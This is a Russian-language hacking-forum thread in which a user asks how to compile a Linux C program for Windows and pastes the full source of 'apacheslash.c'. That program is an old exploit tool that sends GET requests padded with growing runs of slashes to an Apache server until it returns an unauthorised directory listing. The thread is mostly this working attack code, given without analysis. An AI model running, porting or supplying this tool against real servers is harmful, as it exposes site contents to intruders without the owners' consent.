• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Как скомпилировать что-то из линукса под Винду

  • Автор темы doctor
  • Дата начала
Статус
Закрыто для дальнейших ответов.
D

doctor

Вапрос как скемпилировать это под Win_32

Program: xxx.c

Код:
#include stdio.h; 
#include <string.h> 
#include <errno.h> 
#include <stdlib.h> 
#include <netdb.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <unistd.h> 

char tmp[10240]; 
char output[10240]; 
char *get = "GET "; 
char *slash = "/"; 
char *http = " HTTP/1.0\r\n"; 
char *end = "\r\n\r\n"; 
int c, x; 
int port; 
int low; 
int max; 
int sockfd; 
int bytes_recieved; 
int count; 
char *addr; 

struct sockaddr_in dest_addr; 
struct hostent *he; 

void usage(char *ptr) 
{ 
fprintf(stderr, "\n\t%s <-h host> <-p port> <-l LOW> <-m MAX>", ptr); 
fprintf(stderr, "\n\tExample: %s -h 127.0.0.1 -p 80 -l 1 -m 1000\n", ptr); 
fprintf(stderr, "\n\tLOW is how many /'s to start with and MAX is how many /'s to end with.\n\n"); 
exit(1); 
} 


int main(int argc, char *argv[]) 
{ 
printf("\n\t[    apacheslash.c   ]"); 
printf("\n\t[   c0ded by st0ic   ]"); 
printf("\n\t[     Fsix.Net    ]"); 
printf("\n\t[ st0ic@happyhack.zzn.com ]\n\n"); 

while ( ( c = getopt(argc, argv, "h:p:l:m:") ) != -1) 
{ 
switch(c) 
{ 
case 'h': 
{ 
addr = optarg; 
break; 
} 
case 'p': 
{ 
port = atoi(optarg); 
break; 
} 
case 'l': 
{ 
low = atoi(optarg); 
break; 
} 
case 'm': 
{ 
max = atoi(optarg); 
break; 
} 
default: 
usage(argv[0]); 
} 
} 

if ( low > max || addr == NULL ) 
usage(argv[0]); 

if ( (he = gethostbyname(addr)) == NULL) 
{ 
perror("gethostbyname"); 
exit(1); 
} 

dest_addr.sin_family = AF_INET; 
dest_addr.sin_addr = *( (struct in_addr *) he->h_addr); 
dest_addr.sin_port = htons(port); 
memset (&dest_addr.sin_zero, 0, 8); 

printf("\t\n....Working....\n"); 

while (low <= max) 
{ 
count = low; 
bzero(tmp, sizeof(tmp) ); 

if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0) ) == -1) 
{ 
perror("socket"); 
break; 
} 

if (connect (sockfd, (struct sockaddr_in *) &dest_addr, sizeof(dest_addr) ) == -1) 
{ 
perror("connect"); 
exit(1); 
} 

strcpy(tmp, get); 

/* copy the necessary slashes. */ 
   for(x = 0; x < count; x++) 
strcat(tmp, slash); 

strcat(tmp, http); 
strcat(tmp, end); 

send(sockfd, tmp, sizeof(tmp), 0); 

bytes_recieved = 1; 
while(bytes_recieved > 0) 
{ 
bytes_recieved = recv(sockfd, output, sizeof(output), 0); 
if ( (strstr(output, "Index of") ) != NULL) 
{ 
printf("\n\tNumber of \"/\"'s required to generate a directory listing = %d\n", low); 
close(sockfd); 
exit(0); 
} 
} 

low++; 
close(sockfd); 
} 

printf("\nHost does not appear to be vulnerable. Maybe try some different numbers...\n"); 

return 0; 
} 
</PRE></BODY></HTML>
 
Статус
Закрыто для дальнейших ответов.
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!